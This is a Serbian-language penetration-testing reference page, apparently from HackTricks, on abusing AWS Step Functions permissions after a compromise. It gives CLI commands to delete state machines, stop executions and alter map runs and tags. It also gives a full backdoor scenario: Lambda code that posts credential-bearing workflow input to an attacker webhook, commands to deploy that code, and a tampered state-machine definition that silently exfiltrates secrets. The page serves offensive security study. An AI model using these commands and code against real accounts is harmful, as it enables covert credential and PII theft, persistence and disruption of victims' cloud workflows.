# AWS - Step Functions Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## Step Functions

Za više informacija o ovoj AWS usluzi, proverite:

{{#ref}}
../aws-services/aws-stepfunctions-enum.md
{{#endref}}

### `states:RevealSecrets`

Ova dozvola omogućava **otkrivanje tajnih podataka unutar izvršenja**. Za to je potrebno postaviti nivo inspekcije na TRACE i parametar revealSecrets na true.

<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>

### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`

Napadač sa ovim dozvolama mogao bi trajno da obriše mašine stanja, njihove verzije i alias-e. To može ometati kritične radne tokove, dovesti do gubitka podataka i zahtevati značajno vreme za oporavak i vraćanje pogođenih mašina stanja. Pored toga, to bi omogućilo napadaču da prikrije tragove korišćene, ometa forenzičke istrage i potencijalno osakati operacije uklanjanjem suštinskih automatizovanih procesa i konfiguracija stanja.

> [!NOTE]
>
> - Brisanjem mašine stanja takođe brišete sve njene povezane verzije i alias-e.
> - Brisanjem alias-a mašine stanja ne brišete verzije mašine stanja koje se odnose na ovaj alias.
> - Nije moguće obrisati verziju mašine stanja koja je trenutno referencirana od strane jednog ili više alias-a.
```bash
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
```
- **Potencijalni Uticaj**: Poremećaj kritičnih radnih tokova, gubitak podataka i operativno vreme zastoja.

### `states:UpdateMapRun`

Napadač sa ovom dozvolom mogao bi da manipuliše konfiguracijom neuspeha Map Run-a i paralelnim podešavanjima, što bi mu omogućilo da poveća ili smanji maksimalan broj dozvoljenih izvršenja radnih tokova, direktno utičući na performanse usluge. Pored toga, napadač bi mogao da menja tolerisani procenat neuspeha i broj, smanjujući ovu vrednost na 0, tako da bi svaki put kada stavka ne uspe, ceo map run ne uspeo, direktno utičući na izvršenje stanja mašine i potencijalno ometajući kritične radne tokove.
```bash
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
```
- **Potencijalni uticaj**: Smanjenje performansi i prekid kritičnih radnih tokova.

### `states:StopExecution`

Napadač sa ovom dozvolom mogao bi da zaustavi izvršenje bilo koje mašine stanja, ometajući tekuće radne tokove i procese. To bi moglo dovesti do nepotpunih transakcija, obustavljenih poslovnih operacija i potencijalne korupcije podataka.

> [!WARNING]
> Ova akcija nije podržana od strane **express state machines**.
```bash
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
```
- **Potencijalni uticaj**: Poremećaj tekućih radnih tokova, operativno vreme zastoja i potencijalna korupcija podataka.

### `states:TagResource`, `states:UntagResource`

Napadač bi mogao da doda, izmeni ili ukloni oznake sa resursa Step Functions, ometajući alokaciju troškova vaše organizacije, praćenje resursa i politike kontrole pristupa zasnovane na oznakama.
```bash
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
```
**Potencijalni uticaj**: Poremećaj alokacije troškova, praćenja resursa i politika kontrole pristupa zasnovanih na oznakama.

---

### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`

Napadač koji kompromituje korisnika ili ulogu sa sledećim dozvolama:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}
```
...može sprovesti **napad post-ekspolatacije visokog uticaja i prikrivenosti** kombinovanjem backdooring-a Lambda sa manipulacijom logikom Step Function.

Ovaj scenario pretpostavlja da žrtva koristi **AWS Step Functions za orkestraciju radnih tokova koji obrađuju osetljive ulaze**, kao što su akreditivi, tokeni ili PII.

Primer poziva žrtve:
```bash
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
```
Ako je Step Function konfigurisana da poziva Lambda kao `LegitBusinessLogic`, napadač može nastaviti sa **dve prikrivene varijante napada**:

---

####  Ažurirana lambda funkcija

Napadač menja kod Lambda funkcije koja se već koristi od strane Step Function (`LegitBusinessLogic`) kako bi tiho eksfiltrirao ulazne podatke.
```python
# send_to_attacker.py
import requests

def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
```

```bash
zip function.zip send_to_attacker.py

aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker
```
---

#### Dodajte Zloćudnu Državu u Step Funkciju

Alternativno, napadač može da ubaci **državu eksfiltracije** na početak radnog toka ažuriranjem definicije Step Funkcije.
```malicious_state_definition.json
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}

```

```bash
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker
```
Napadač može još diskretnije ažurirati definiciju stanja na nešto poput ovoga
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "ExfiltrateSecrets",
"States": {
"ExfiltrateSecrets": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
"InputPath": "$",
"ResultPath": "$.exfil",
"Next": "OriginalState"
},
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
"End": true
}
}
}
gde žrtva neće primetiti razliku

---

### Podešavanje žrtve (Kontekst za Eksploataciju)

- Step Function (`LegitStateMachine`) se koristi za obradu osetljivih korisničkih podataka.
- Poziva jednu ili više Lambda funkcija kao što je `LegitBusinessLogic`.

---

**Potencijalni Uticaj**:
- Tiha eksfiltracija osetljivih podataka uključujući tajne, akreditive, API ključeve i PII.
- Nema vidljivih grešaka ili neuspeha u izvršenju radnog toka.
- Teško je otkriti bez revizije Lambda koda ili tragova izvršenja.
- Omogućava dugoročnu postojanost ako se bekdor zadrži u kodu ili ASL logici.


{{#include ../../../banners/hacktricks-training.md}}
